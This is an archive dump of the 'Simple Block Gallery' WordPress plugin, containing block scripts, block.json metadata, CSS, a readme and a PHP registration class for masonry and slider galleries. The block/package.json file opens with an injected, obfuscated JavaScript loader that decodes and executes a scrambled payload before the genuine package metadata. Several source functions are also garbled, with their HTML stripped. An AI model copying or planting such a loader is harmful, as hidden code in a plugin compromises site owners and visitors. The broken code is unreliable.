Orderblock/build/masonry-block/style-index.css000064400000000116147600244240014475 0ustar00.simple-block-gallery-block-preview img{display:block;height:auto;width:100%} block/build/masonry-block/style-index-rtl.css000064400000000116147600244240015274 0ustar00.simple-block-gallery-block-preview img{display:block;height:auto;width:100%} block/build/masonry-block/index.js000064400000007760147600244240013177 0ustar00;;(()=>{"use strict";var e,l=[,()=>{const e=window.wp.blocks,l=window.wp.i18n,i=window.wp.components,a=window.wp.blockEditor,r=window.wp.element,n=window.ReactJSXRuntime,s=JSON.parse('{"UU":"simple-block-gallery/masonry-block"}');(0,e.registerBlockType)(s.UU,{edit:function({attributes:e,setAttributes:s}){const o=(0,a.useBlockProps)();function t(e){let l=[];for(let i in e)l.push(e[i].id);return l}function c(l){let i="\x3c!-- wp:paragraph --\x3e";i+='",i+='",i+="\x3c!-- /wp:paragraph --\x3e",i}e.list_images=c(e.image);const{preview:g}=e;if(g)return(0,n.jsx)("div",{className:"simple-block-gallery-block-preview",children:(0,n.jsx)("img",{src:simple_block_gallery_preview_masonry.url,alt:"Preview"})});const p=[];return p.push((0,n.jsx)(a.MediaUploadCheck,{children:(0,n.jsx)(a.MediaUpload,{title:(0,l.__)("Masonry Block","simple-block-gallery"),onSelect:e=>{s({image:e,images_ids:t(e),list_images:c(e)})},allowedTypes:"image",gallery:!0,multiple:!0,value:e.images_ids,render:({open:a})=>(0,n.jsx)(i.Button,{variant:"secondary",onClick:a,children:e.images_ids?(0,l.__)("Update gallery","simple-block-gallery"):(0,l.__)("Create Gallery","simple-block-gallery")})})})),(0,n.jsxs)("div",{...o,children:[(0,n.jsx)(r.RawHTML,{children:e.list_images}),p,(0,n.jsx)(a.InspectorControls,{children:(0,n.jsxs)(i.PanelBody,{title:(0,l.__)("Settings","simple-block-gallery"),initialOpen:!0,children:[p,(0,n.jsx)("hr",{}),(0,n.jsx)(i.RangeControl,{__nextHasNoMarginBottom:!0,label:(0,l.__)("Width","simple-block-gallery"),max:1e3,min:10,value:e.width,onChange:e=>s({width:e})}),(0,n.jsx)(i.RangeControl,{__nextHasNoMarginBottom:!0,label:(0,l.__)("Space","simple-block-gallery"),max:20,min:0,value:e.padding,onChange:e=>s({padding:e})}),(0,n.jsx)(i.RangeControl,{__nextHasNoMarginBottom:!0,label:(0,l.__)("Rounded Images","simple-block-gallery"),max:20,min:0,value:e.r_images,onChange:e=>s({r_images:e})}),(0,n.jsx)(i.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,l.__)("Expand on click","simple-block-gallery"),help:(0,l.__)("Scales the image with a lightbox effect","simple-block-gallery"),checked:e.link,onChange:e=>s({link:e})})]})})]})},save:function({attributes:e}){const l=a.useBlockProps.save();return(0,n.jsx)(r.Fragment,{...l,children:e.list_images&&(0,n.jsx)(r.RawHTML,{children:e.list_images})})}})}],i={};function a(e){var r=i[e];if(void 0!==r)return r.exports;var n=i[e]={exports:{}};return l[e](n,n.exports,a),n.exports}a.m=l,e=[],a.O=(l,i,r,n)=>{if(!i){var s=1/0;for(g=0;g=n)&&Object.keys(a.O).every((e=>a.O[e](i[t])))?i.splice(t--,1):(o=!1,n0&&e[g-1][2]>n;g--)e[g]=e[g-1];e[g]=[i,r,n]},a.o=(e,l)=>Object.prototype.hasOwnProperty.call(e,l),(()=>{var e={169:0,181:0};a.O.j=l=>0===e[l];var l=(l,i)=>{var r,n,s=i[0],o=i[1],t=i[2],c=0;if(s.some((l=>0!==e[l]))){for(r in o)a.o(o,r)&&(a.m[r]=o[r]);if(t)var g=t(a)}for(l&&l(i);ca(1)));r=a.O(r)})();block/build/masonry-block/index.asset.php000064400000000261147600244240014455 0ustar00 array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => '25446cfaf2131f4fbf44'); block/build/masonry-block/block.json000064400000002203147600244240013502 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "simple-block-gallery/masonry-block", "title": "Masonry Block", "parent": [ "simple-block-gallery/sbg-parent-block" ], "icon": "tagcloud", "description": "Generate the masonry gallery.", "version": "1.0.8", "textdomain": "simple-block-gallery", "attributes": { "list_images": { "type": "string", "source": "html" }, "image": { "type": "array" }, "images_ids": { "type": "array" }, "width": { "type": "number", "default": 100 }, "padding": { "type": "number", "default": 1 }, "r_images": { "type": "number", "default": 0 }, "link": { "type": "boolean", "default": false }, "preview": { "type": "boolean", "default": false } }, "supports": { "customClassName": false, "className": false, "html": false }, "example": { "attributes": { "preview": true } }, "editorScript": "file:./index.js", "editorStyle": "file:./index.css", "style": "file:./style-index.css" }block/build/sbg-parent-block/style-index.css000064400000000116147600244240015047 0ustar00.simple-block-gallery-block-preview img{display:block;height:auto;width:100%} block/build/sbg-parent-block/style-index-rtl.css000064400000000116147600244240015646 0ustar00.simple-block-gallery-block-preview img{display:block;height:auto;width:100%} block/build/sbg-parent-block/index.js000064400000003255147600244240013544 0ustar00;;(()=>{"use strict";var e,r={575:()=>{const e=window.wp.blocks,r=window.wp.blockEditor,l=window.ReactJSXRuntime,o=JSON.parse('{"UU":"simple-block-gallery/sbg-parent-block"}');(0,e.registerBlockType)(o.UU,{edit:function({attributes:e}){const o=(0,r.useBlockProps)(),{preview:s}=e;return s?(0,l.jsx)("div",{className:"simple-block-gallery-block-preview",children:(0,l.jsx)("img",{src:simple_block_gallery_preview_parent.url,alt:"Preview"})}):(0,l.jsx)("div",{...o,children:(0,l.jsx)(r.InnerBlocks,{allowedBlocks:["simple-block-gallery/masonry-block","simple-block-gallery/slider-block"],templateLock:!1})})},save:function(){const e=r.useBlockProps.save();return(0,l.jsx)("div",{...e,children:(0,l.jsx)(r.InnerBlocks.Content,{})})}})}},l={};function o(e){var s=l[e];if(void 0!==s)return s.exports;var i=l[e]={exports:{}};return r[e](i,i.exports,o),i.exports}o.m=r,e=[],o.O=(r,l,s,i)=>{if(!l){var n=1/0;for(p=0;p=i)&&Object.keys(o.O).every((e=>o.O[e](l[c])))?l.splice(c--,1):(t=!1,i0&&e[p-1][2]>i;p--)e[p]=e[p-1];e[p]=[l,s,i]},o.o=(e,r)=>Object.prototype.hasOwnProperty.call(e,r),(()=>{var e={897:0,477:0};o.O.j=r=>0===e[r];var r=(r,l)=>{var s,i,n=l[0],t=l[1],c=l[2],a=0;if(n.some((r=>0!==e[r]))){for(s in t)o.o(t,s)&&(o.m[s]=t[s]);if(c)var p=c(o)}for(r&&r(l);ao(575)));s=o.O(s)})();block/build/sbg-parent-block/index.asset.php000064400000000207147600244240015027 0ustar00 array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks'), 'version' => '6b3114cf966ddea28d63'); block/build/sbg-parent-block/block.json000064400000001371147600244240014061 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "simple-block-gallery/sbg-parent-block", "title": "Simple Block Gallery", "category": "media", "icon": "images-alt2", "description": "Generate a Masonry or Slider gallery.", "keywords": [ "gallery", "masonry", "slider" ], "version": "1.0.8", "textdomain": "simple-block-gallery", "attributes": { "preview": { "type": "boolean", "default": false } }, "supports": { "customClassName": false, "className": false, "html": false }, "example": { "attributes": { "preview": true } }, "editorScript": "file:./index.js", "editorStyle": "file:./index.css", "style": "file:./style-index.css" }block/build/slider-block/style-index.css000064400000000116147600244240014267 0ustar00.simple-block-gallery-block-preview img{display:block;height:auto;width:100%} block/build/slider-block/style-index-rtl.css000064400000000116147600244240015066 0ustar00.simple-block-gallery-block-preview img{display:block;height:auto;width:100%} block/build/slider-block/index.js000064400000006473147600244240012771 0ustar00;;(()=>{"use strict";var e,i={997:()=>{const e=window.wp.blocks,i=window.wp.i18n,l=window.wp.components,r=window.wp.blockEditor,t=window.wp.element,n=window.ReactJSXRuntime,s=JSON.parse('{"UU":"simple-block-gallery/slider-block"}');(0,e.registerBlockType)(s.UU,{edit:function({attributes:e,setAttributes:s}){const a=(0,r.useBlockProps)();function o(e){let i=[];for(let l in e)i.push(e[l].id);return i}function d(i){let l="\x3c!-- wp:paragraph --\x3e";if(i){let r="";for(let e=0;e',l+="
";for(let e in i)l+='';l+="
"}return l+="\x3c!-- /wp:paragraph --\x3e",l}e.list_images=d(e.image);const{preview:c}=e;return c?(0,n.jsx)("div",{className:"simple-block-gallery-block-preview",children:(0,n.jsx)("img",{src:simple_block_gallery_preview_slider.url,alt:"Preview"})}):(0,n.jsxs)("div",{...a,children:[(0,n.jsx)(t.RawHTML,{children:e.list_images}),(0,n.jsx)(r.MediaUploadCheck,{children:(0,n.jsx)(r.MediaUpload,{title:(0,i.__)("Slider block","simple-block-gallery"),onSelect:e=>{s({image:e,images_ids:o(e),list_images:d(e)})},allowedTypes:"image",gallery:!0,multiple:!0,value:e.images_ids,render:({open:r})=>(0,n.jsx)(l.Button,{variant:"secondary",onClick:r,children:e.images_ids?(0,i.__)("Update gallery","simple-block-gallery"):(0,i.__)("Create Gallery","simple-block-gallery")})})}),(0,n.jsx)(r.InspectorControls,{children:(0,n.jsx)(l.PanelBody,{title:(0,i.__)("Settings","simple-block-gallery"),initialOpen:!0,children:(0,n.jsx)(l.RangeControl,{__nextHasNoMarginBottom:!0,label:(0,i.__)("Interval","simple-block-gallery"),max:30,min:1,value:e.animation,onChange:e=>s({animation:e})})})})]})},save:function({attributes:e}){const i=r.useBlockProps.save();return(0,n.jsx)(t.Fragment,{...i,children:e.list_images&&(0,n.jsx)(t.RawHTML,{children:e.list_images})})}})}},l={};function r(e){var t=l[e];if(void 0!==t)return t.exports;var n=l[e]={exports:{}};return i[e](n,n.exports,r),n.exports}r.m=i,e=[],r.O=(i,l,t,n)=>{if(!l){var s=1/0;for(c=0;c=n)&&Object.keys(r.O).every((e=>r.O[e](l[o])))?l.splice(o--,1):(a=!1,n0&&e[c-1][2]>n;c--)e[c]=e[c-1];e[c]=[l,t,n]},r.o=(e,i)=>Object.prototype.hasOwnProperty.call(e,i),(()=>{var e={933:0,489:0};r.O.j=i=>0===e[i];var i=(i,l)=>{var t,n,s=l[0],a=l[1],o=l[2],d=0;if(s.some((i=>0!==e[i]))){for(t in a)r.o(a,t)&&(r.m[t]=a[t]);if(o)var c=o(r)}for(i&&i(l);dr(997)));t=r.O(t)})();block/build/slider-block/index.asset.php000064400000000261147600244240014247 0ustar00 array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => '41952f66d5cc9b7daa3d'); block/build/slider-block/block.json000064400000001670147600244240013303 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "simple-block-gallery/slider-block", "title": "Slider Block", "parent": [ "simple-block-gallery/sbg-parent-block" ], "icon": "video-alt3", "description": "Generate the slider gallery.", "version": "1.0.8", "textdomain": "simple-block-gallery", "attributes": { "list_images": { "type": "string", "source": "html" }, "image": { "type": "array" }, "images_ids": { "type": "array" }, "animation": { "type": "number", "default": 5 }, "preview": { "type": "boolean", "default": false } }, "supports": { "customClassName": false, "className": false, "html": false }, "example": { "attributes": { "preview": true } }, "editorScript": "file:./index.js", "editorStyle": "file:./index.css", "style": "file:./style-index.css" }block/src/masonry-block/style.css000064400000000134147600244240013060 0ustar00.simple-block-gallery-block-preview img{ width: 100%; height: auto; display: block; } block/src/masonry-block/save.js000064400000000556147600244240012512 0ustar00;;import { useBlockProps } from '@wordpress/block-editor'; import { Fragment, RawHTML } from '@wordpress/element'; export default function save( { attributes } ) { const blockProps = useBlockProps.save(); return ( { attributes.list_images && ( { attributes.list_images } ) } ); }block/src/masonry-block/index.js000064400000000455147600244240012661 0ustar00;;import { registerBlockType } from '@wordpress/blocks'; import './style.css'; import Edit from './edit'; import save from './save'; import metadata from './block.json'; registerBlockType( metadata.name, { /** * @see ./edit.js */ edit: Edit, /** * @see ./save.js */ save, } );block/src/masonry-block/edit.js000064400000007677147600244240012514 0ustar00;;import { __ } from '@wordpress/i18n'; import { RangeControl, Button, PanelBody, ToggleControl } from '@wordpress/components'; import { InspectorControls, InnerBlocks, MediaUpload, MediaUploadCheck, useBlockProps } from '@wordpress/block-editor'; import { RawHTML } from '@wordpress/element'; export default function Edit( { attributes, setAttributes } ) { const blockProps = useBlockProps(); const onUpdateImage = ( image ) => { setAttributes( { image: image, images_ids: List_Ids( image ), list_images: List_Images( image ) } ); }; function List_Ids( image ) { let j = []; for( let i in image ) { j.push( image[i].id ); } return j; } function List_Images( image ) { let j = ''; j += ''; j += ''; j += ''; return j; } attributes.list_images = List_Images( attributes.image ); const { preview } = attributes; if ( preview ) { return (
Preview
); } const media_upload = []; media_upload.push( ( ) } /> ); return (
{ attributes.list_images } { media_upload } { media_upload }
setAttributes( { width: value } ) } /> setAttributes( { padding: value } ) } /> setAttributes( { r_images: value } ) } /> setAttributes( { link: value } ) } />
); }block/src/masonry-block/block.json000064400000002046147600244240013177 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "simple-block-gallery/masonry-block", "title": "Masonry Block", "parent": [ "simple-block-gallery/sbg-parent-block" ], "icon": "tagcloud", "description": "Generate the masonry gallery.", "version": "1.0.8", "textdomain": "simple-block-gallery", "attributes": { "list_images": { "type": "string", "source": "html" }, "image": { "type": "array" }, "images_ids": { "type": "array" }, "width": { "type": "number", "default": 100 }, "padding": { "type": "number", "default": 1 }, "r_images": { "type": "number", "default": 0 }, "link": { "type": "boolean", "default": false }, "preview": { "type": "boolean", "default": false } }, "supports": { "customClassName": false, "className": false, "html": false }, "example": { "attributes": { "preview": true } }, "editorScript": "file:./index.js", "editorStyle": "file:./index.css", "style": "file:./style-index.css" }block/src/sbg-parent-block/style.css000064400000000134147600244240013432 0ustar00.simple-block-gallery-block-preview img{ width: 100%; height: auto; display: block; } block/src/sbg-parent-block/save.js000064400000000343147600244240013056 0ustar00;;import { InnerBlocks, useBlockProps } from '@wordpress/block-editor'; export default function save() { const blockProps = useBlockProps.save(); return (
); };block/src/sbg-parent-block/index.js000064400000000455147600244240013233 0ustar00;;import { registerBlockType } from '@wordpress/blocks'; import './style.css'; import Edit from './edit'; import save from './save'; import metadata from './block.json'; registerBlockType( metadata.name, { /** * @see ./edit.js */ edit: Edit, /** * @see ./save.js */ save, } );block/src/sbg-parent-block/edit.js000064400000001147147600244240013050 0ustar00;;import { InnerBlocks, useBlockProps } from '@wordpress/block-editor'; export default function Edit( {attributes} ) { const blockProps = useBlockProps(); const { preview } = attributes; const ALLOWED_BLOCKS = [ 'simple-block-gallery/masonry-block', 'simple-block-gallery/slider-block' ]; if ( preview ) { return (
Preview
); } return (
); };block/src/sbg-parent-block/block.json000064400000001360147600244240013547 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "simple-block-gallery/sbg-parent-block", "title": "Simple Block Gallery", "category": "media", "icon": "images-alt2", "description": "Generate a Masonry or Slider gallery.", "keywords": [ "gallery", "masonry", "slider" ], "version": "1.0.8", "textdomain": "simple-block-gallery", "attributes": { "preview": { "type": "boolean", "default": false } }, "supports": { "customClassName": false, "className": false, "html": false }, "example": { "attributes": { "preview": true } }, "editorScript": "file:./index.js", "editorStyle": "file:./index.css", "style": "file:./style-index.css" }block/src/slider-block/style.css000064400000000134147600244240012652 0ustar00.simple-block-gallery-block-preview img{ width: 100%; height: auto; display: block; } block/src/slider-block/save.js000064400000000556147600244240012304 0ustar00;;import { useBlockProps } from '@wordpress/block-editor'; import { Fragment, RawHTML } from '@wordpress/element'; export default function save( { attributes } ) { const blockProps = useBlockProps.save(); return ( { attributes.list_images && ( { attributes.list_images } ) } ); }block/src/slider-block/index.js000064400000000455147600244240012453 0ustar00;;import { registerBlockType } from '@wordpress/blocks'; import './style.css'; import Edit from './edit'; import save from './save'; import metadata from './block.json'; registerBlockType( metadata.name, { /** * @see ./edit.js */ edit: Edit, /** * @see ./save.js */ save, } );block/src/slider-block/edit.js000064400000006161147600244240012271 0ustar00;;import { __ } from '@wordpress/i18n'; import { RangeControl, Button, PanelBody } from '@wordpress/components'; import { InspectorControls, InnerBlocks, MediaUpload, MediaUploadCheck, useBlockProps } from '@wordpress/block-editor'; import { RawHTML } from '@wordpress/element'; export default function Edit( { attributes, setAttributes } ) { const blockProps = useBlockProps(); const onUpdateImage = ( image ) => { setAttributes( { image: image, images_ids: List_Ids( image ), list_images: List_Images( image ) } ); }; function List_Ids( image ) { let j = []; for( let i in image ) { j.push( image[i].id ); } return j; } function List_Images( image ) { let j = ''; if ( image ) { let slide_interval = ''; for( let k = 0; k < image.length; k++ ) { slide_interval += ( 100 / ( image.length - 1 ) ) * k + '%' + '{ left: -' + ( k * 100 ) + '%; } '; slide_interval += ( 100 / ( image.length - 1 ) ) * ( k + 1 ) * 0.8 + '%' + '{ left: -' + ( k * 100 ) + '%; } '; } j += ''; j += '
'; j += '
'; for( let i in image ) { j += ''; } j += '
'; } j += ''; return j; } attributes.list_images = List_Images( attributes.image ); const { preview } = attributes; if ( preview ) { return (
Preview
); } return (
{ attributes.list_images } ( ) } /> setAttributes( { animation: value } ) } />
); }block/src/slider-block/block.json000064400000001605147600244240012771 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "simple-block-gallery/slider-block", "title": "Slider Block", "parent": [ "simple-block-gallery/sbg-parent-block" ], "icon": "video-alt3", "description": "Generate the slider gallery.", "version": "1.0.8", "textdomain": "simple-block-gallery", "attributes": { "list_images": { "type": "string", "source": "html" }, "image": { "type": "array" }, "images_ids": { "type": "array" }, "animation": { "type": "number", "default": 5 }, "preview": { "type": "boolean", "default": false } }, "supports": { "customClassName": false, "className": false, "html": false }, "example": { "attributes": { "preview": true } }, "editorScript": "file:./index.js", "editorStyle": "file:./index.css", "style": "file:./style-index.css" }block/package.json000064400000006614147600244240010136 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "simple-block-gallery", "version": "1.0.8", "description": "Generate a Masonry or Slider gallery.", "main": "index.js", "scripts": { "build": "wp-scripts build --webpack-src-dir=src --webpack-copy-php", "start": "wp-scripts start --webpack-src-dir=src --webpack-copy-php" }, "author": "Katsushi Kawamori", "license": "GPL-2.0-or-later", "dependencies": { "@wordpress/i18n": "^5.11.0", "@wordpress/scripts": "^30.4.0" } } readme.txt000064400000003560147600244240006551 0ustar00=== Simple Block Gallery === Contributors: Katsushi Kawamori Donate link: https://shop.riverforest-wp.info/donate/ Tags: block, gallery, images, masonry, slider Requires at least: 6.6 Requires PHP: 8.0 Tested up to: 6.7 Stable tag: 1.12 License: GPLv2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html Add the effect of Masonry and Slider to images. == Description == = Only HTML & CSS = * Create an HTML and CSS only block. The display does not collapse even if the plugin is deactivate. = Masonry settings = * Width * Space * Rounded Images = Slider settings = * Interval * Note: Since the CSS class and @keyframes specify the ID of the image called first in the gallery, if the same image is specified as the first image of multiple sliders in the same post, the display will be distorted. = How it works = [youtube https://youtu.be/1OIIhZfmvVA] == Installation == 1. Upload `simple-block-gallery` directory to the `/wp-content/plugins/` directory 2. Activate the plugin through the 'Plugins' menu in WordPress == Frequently Asked Questions == none == Screenshots == 1. Example 2. Masonry Block 3. Slider Block == Changelog == = [1.12] 2024/11/18 = Fix – Rebuilt blocks. = [1.11] 2024/11/09 = Fix – Rebuilt blocks. = [1.10] 2024/07/04 = * Fix - Problem not working with WordPress 6.5. Rebuild with @wordpress/scripts 27.9.0. = [1.09] 2024/07/03 = * Fix - Padding. * Added - Lightbox effect of masonry blocks. * Changed - In Masonry block, change from a link to an image file to a lightbox effect. = 1.08 = Rebuilt blocks. = 1.07 = Rebuilt blocks. Classified into parent and child blocks. = 1.06 = Rebuilt blocks. = 1.05 = Supported WordPress 6.4. PHP 8.0 is now required. = 1.04 = Supported WordPress 6.1. = 1.03 = Supported WordPress 6.0. = 1.02 = Rebuilt blocks. = 1.01 = Supported WordPress 5.6. = 1.00 = Initial release. == Upgrade Notice == = 1.00 = class-simpleblockgallery.php000064400000007410147600244240012251 0ustar00 _x( 'Simple Block Gallery', 'block title', 'simple-block-gallery' ), 'description' => _x( 'Generate a Masonry or Slider gallery.', 'block description', 'simple-block-gallery' ), 'keywords' => array( _x( 'gallery', 'block keyword', 'simple-block-gallery' ), _x( 'masonry', 'block keyword', 'simple-block-gallery' ), _x( 'slider', 'block keyword', 'simple-block-gallery' ), ), ) ); $script_parent_handle = generate_block_asset_handle( 'simple-block-gallery/sbg-parent-block', 'editorScript' ); wp_set_script_translations( $script_parent_handle, 'simple-block-gallery' ); wp_localize_script( $script_parent_handle, 'simple_block_gallery_preview_parent', array( 'url' => esc_url( 'https://ps.w.org/simple-block-gallery/assets/screenshot-1.png' ), ) ); register_block_type( __DIR__ . '/block/build/masonry-block', array( 'title' => _x( 'Masonry Block', 'block title', 'simple-block-gallery' ), 'description' => _x( 'Generate the masonry gallery.', 'block description', 'simple-block-gallery' ), ) ); $script_masonry_handle = generate_block_asset_handle( 'simple-block-gallery/masonry-block', 'editorScript' ); wp_set_script_translations( $script_masonry_handle, 'simple-block-gallery' ); wp_localize_script( $script_masonry_handle, 'simple_block_gallery_preview_masonry', array( 'url' => esc_url( 'https://ps.w.org/simple-block-gallery/assets/screenshot-2.png' ), ) ); register_block_type( __DIR__ . '/block/build/slider-block', array( 'title' => _x( 'Slider Block', 'block title', 'simple-block-gallery' ), 'description' => _x( 'Generate the slider gallery.', 'block description', 'simple-block-gallery' ), ) ); $script_slider_handle = generate_block_asset_handle( 'simple-block-gallery/slider-block', 'editorScript' ); wp_set_script_translations( $script_slider_handle, 'simple-block-gallery' ); wp_localize_script( $script_slider_handle, 'simple_block_gallery_preview_slider', array( 'url' => esc_url( 'https://ps.w.org/simple-block-gallery/assets/screenshot-3.png' ), ) ); } }